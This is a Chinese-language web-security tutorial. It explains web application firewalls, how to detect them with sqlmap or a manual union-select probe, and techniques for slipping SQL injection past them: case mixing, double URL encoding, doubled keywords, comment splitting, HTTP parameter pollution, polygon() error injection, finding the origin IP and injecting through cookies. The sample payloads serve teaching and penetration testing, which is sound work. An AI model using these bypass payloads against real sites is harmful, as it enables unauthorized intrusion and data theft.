介紹WAF
本節主要介紹WAF (Web Application Firewall, Web應用防火牆)及與其相關的知識,這里利用國際上公認的一種說法: Web應用防火牆是通過執行系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的一款產品。
WAF基本上可以分為以下幾類。
軟件型WAF
以軟件形式裝在所保護的服務器上的WAF,由於安裝在服務器上,所以可以接觸到服務器上的文件,直接檢測服務器上是否存在WebShell、是否有文件被創建等。
硬件型WAF
以硬件形式部署在鏈路中,支持多種部署方式,當串聯到鏈路中時可以攔截惡意流量,在旁路監聽模式時只記錄攻擊不進行攔截。
雲WAF
一般以反向代理的形式工作,通過配置NS記錄或CNAME記錄,使對網站的請求報文優先經過WAF主機,經過WAF主機過濾后,將認為無害的請求報文再發送給實際網站服務器進行請求,可以說是帶防護功能的CDN。
網站系統內置的WAF
網站系統內置的WAF也可以說是網站系統中內置的過濾,直接鑲嵌在代碼中,相對來說自由度高,一有以下這幾種情況。
- 輸入參數強制類型轉換(intval等) 。
- 輸入參數合法性檢測。
- 關鍵函數執行(SQL執行、 頁面顯示、命令執行等)前,對經過代碼流程的輸入進行檢測。
- 對輸入的數據進行替換過濾后再繼續執行代碼流程(轉義/替換掉特殊字符等)網站系統內置的WAF與業務更加契合,在對安全與業務都比較了解的情況下,可以更少地收到誤報與漏報。
WAF判斷
介紹幾種判斷網站是否存在waf的方法。
SQLMap
python sqlmap.py -u "http://xxx.com/se/" --identify-waf --batch
使用SQLMap中自帶的WAF識別模塊可以識別出WAF的種類,但是如果所安下面裝的WAF並沒有什么特征,SQLMap就只能識別出類型是Generic。下面以某衛士官網為例,在SQLMap中輸入以下命令,結果如圖所示。
可以看到識別出WAF的類型為XXX Web Application Firewall。要想了解詳細的識別規則可以查看SQLMap的WAF目錄下的相關腳本,也可以按照其格式自主添加新的WAF識別規則,寫好規則文件后直接放到WAF目錄下即可。
手工判斷
這個也比較簡單,直接在相應網站的URL后面加上最基礎的測試語句,比如union select 1,2,3%23, 並且放在一個不存在的參數名中,本例里使用的是參數aaa,如圖所示,觸發了WAF的防護,所以網站存在WAF。
因為這里選取了一個不存在的參數,所以實際並不會對網站系統的執行流程造成任何影響,此時被攔截則說明存在WAF。
被攔截的表現為(增加了無影響的測試語句后) :頁面無法訪問、響應碼不同、返回與正常請求網頁時不同的結果等。
一些WAF的繞過方法
本小節主要介紹SQL注入漏洞的繞過方法,其余漏洞的WAF繞過方法在原理上是差不多的。
大小寫混合
在規則匹配時只針對了特定大寫或特定小寫的情況,在實戰中可以通過混合大小寫的方式進行繞過(現在幾乎沒有這樣的情況),如下所示。
uNion sElEct 1,2,3,4,5
URL編碼
極少部分的WAF不會對普通字符進行URL解碼,如下所示。
union select 1,2,3,4,5
上述命令將被編碼為如下所示的命令。
%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35
還有一種情況就是URL二次編碼,WAF一般只進行一次解碼,而如果目標Web系統的代碼中進行了額外的URL解碼,即可進行繞過。
union select 1,2,3,4,5
上述命令將被編碼成如下的命令:
%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2533%252c%2534%252c%2535
替換關鍵字
WAF采用替換或者刪除select/union 這類敏感關鍵詞的時候,如果只匹配一次則很容易進行繞過。
union select 1,2,3,4,5
上述命令將轉換為如下所示的命令
ununionion selselectect 1,2,3,4,5
使用注釋
注釋在截斷SQL語句中用得比較多,在繞過WAF時主要使用其替代空格(/任意內容/),適用於檢測過程中沒有識別注釋或替換掉了注釋的WAF。
Union select 1, 2, 3, 4, 5
上述命令將轉換為如下所示的命令。
union/*2333*/select/*aaaa*/1, 2, 3, 4, 5
還可以使用前面章節中介紹的內聯注釋嘗試繞過WAF的檢測。
多參數請求拆分
對於多個參數拼接到同一條SQL語句中的情況,可以將注入語句分割插入。
例如請求URL時,GET參 數為如下格式。
a=[input1]&b=[input2]
將GET的參數a和參數b拼接到SQL語句中,SQL語句如下所示。
and a=[input1] and b=[input2]
這時就可以將注入語句進行拆分,如下所示。
a=union/*&b=*/select 1, 2, 3, 4
最終將參數a和參數b拼接,得到的SQL語句如下所示。
and a=union /*and b=*/select 1, 2, 3, 4
HTTP參數污染
HTTP參數污染是指當同一參數出現多次,不同的中間件會解析為不同的結果,具體如表所示(例子以參數color=red&color= blue為例)
在上述提到的中間線中,IIS比較容易利用,可以直接分割帶逗號的SQL語句。在其余的中間件中,如果WAF只檢測了同參數名中的第一個或最后一個,並且中間件特性正好取與WAF相反的參數,則可成功繞過。下面以IIS為例,一般的SQL注入語句如下所示。
Inject=union select 1, 2, 3, 4
將SQL注入語句轉換為以下格式。
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4
最終在IIS中讀入的參數值將如下所示。
Inject=union/*,*/select/*,*/1, 2, 3, 4
生僻函數
使用生僻函數替代常見的函數,例如在報錯注入中使用polygon()函數替換常用的updatexml() 函數,如下所示。
SELECT polygon((select*from (select*from(select@@version)f)x));
尋找網站源站IP
對於具有雲WAF防護的網站而言,只要找到網站的IP地址,然后通過IP訪問網站,就可以繞過雲WAF的檢測。
常見的尋找網站IP的方法有下面這幾種。
- 尋找網站的歷史解析記錄。
- 多個不同區域ping網站,查看IP解析的結果。
- 找網站的二級域名、NS、MX記錄等對應的IP。
- 訂閱網站郵件,查看郵件發送方的IP。
注入參數到cookie中
某些程序員在代碼中使用\(_REQUEST獲取參數,而\)_REQUEST會依次從GET/POST/cookie中獲取參數,如果WAF只檢測了GET/POST而沒有檢測cookie,可以將注入語句放入cookie中進行繞過。